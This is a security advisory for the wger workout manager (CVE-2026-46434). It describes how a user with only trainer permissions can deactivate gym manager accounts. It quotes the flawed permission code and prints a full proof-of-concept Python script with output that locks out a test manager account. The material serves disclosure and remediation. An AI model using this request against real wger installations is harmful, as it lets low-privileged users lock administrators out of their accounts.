wger
Affected
- introduced
0, last affected2.1(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-46434, PYSEC-2026-4316
wger: Trainer Privilege Escalation - Improper Privilege Management
Summary
A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- ANY one permission is enough
return False
The dispatch() method only verifies same-gym membership:
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# NO check: is the target user more privileged than the requester?
return super().dispatch(request, *args, **kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
gym_manager role (victim) and one with gym_trainer role (attacker)Attack Steps
# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate
The manager's account is immediately set to is_active = False. The manager can no longer log in.
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Setup via Django ORM (must run inside container) ----
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
Group.objects.get_or_create(name=name)
# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")
# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
username=MANAGER_USER,
defaults={"is_active": True}
)
if created:
manager.set_password(MANAGER_PASS)
manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f" Groups: {[g.name for g in manager.groups.all()]}")
print(f" is_active: {manager.is_active}")
# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
username=TRAINER_USER,
defaults={"is_active": True}
)
if created:
trainer.set_password(TRAINER_PASS)
trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f" Groups: {[g.name for g in trainer.groups.all()]}")
# ---- 1. Verify manager is active BEFORE attack ----
manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"
# ---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='*65}")
print(f" ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")
from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n GET /en/user/{manager.id}/deactivate")
print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f" Response: HTTP {resp.status_code}")
# ---- 3. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
manager.refresh_from_db()
print(f"\n Manager is_active AFTER attack: {manager.is_active}")
if not manager.is_active:
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| A gym_trainer successfully deactivated a gym_manager! |
| No privilege hierarchy check prevents this. |
| The trainer can now lock out all managers from the gym. |
+----------------------------------------------------------+
""")
manager.is_active = True
manager.save()
print(" [+] Cleanup: Manager re-activated")
else:
print("\n Manager is still active - NOT vulnerable")
Proof of Concept Output
=====================================================================
PoC: Trainer -> Manager Privilege Escalation
Severity: HIGH
CWE-269: Improper Privilege Management
=====================================================================
[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
Groups: ['gym_manager']
is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
Groups: ['gym_trainer']
[*] Manager is_active BEFORE attack: True
=================================================================
ATTACK: Trainer deactivating gym manager account
=================================================================
Trainer login: HTTP 200
GET http://localhost/en/user/4/deactivate
(Logged in as: evil_trainer_poc - gym_trainer only)
Response: HTTP 200
=================================================================
VERIFICATION
=================================================================
Manager is_active AFTER attack: False
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| A gym_trainer successfully deactivated a gym_manager! |
| No privilege hierarchy check prevents this. |
| The trainer can now lock out all managers from the gym. |
+----------------------------------------------------------+
[+] Cleanup: Manager re-activatedHigh Basis: The source's own band: HIGH
0, last affected 2.1 (ecosystem)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0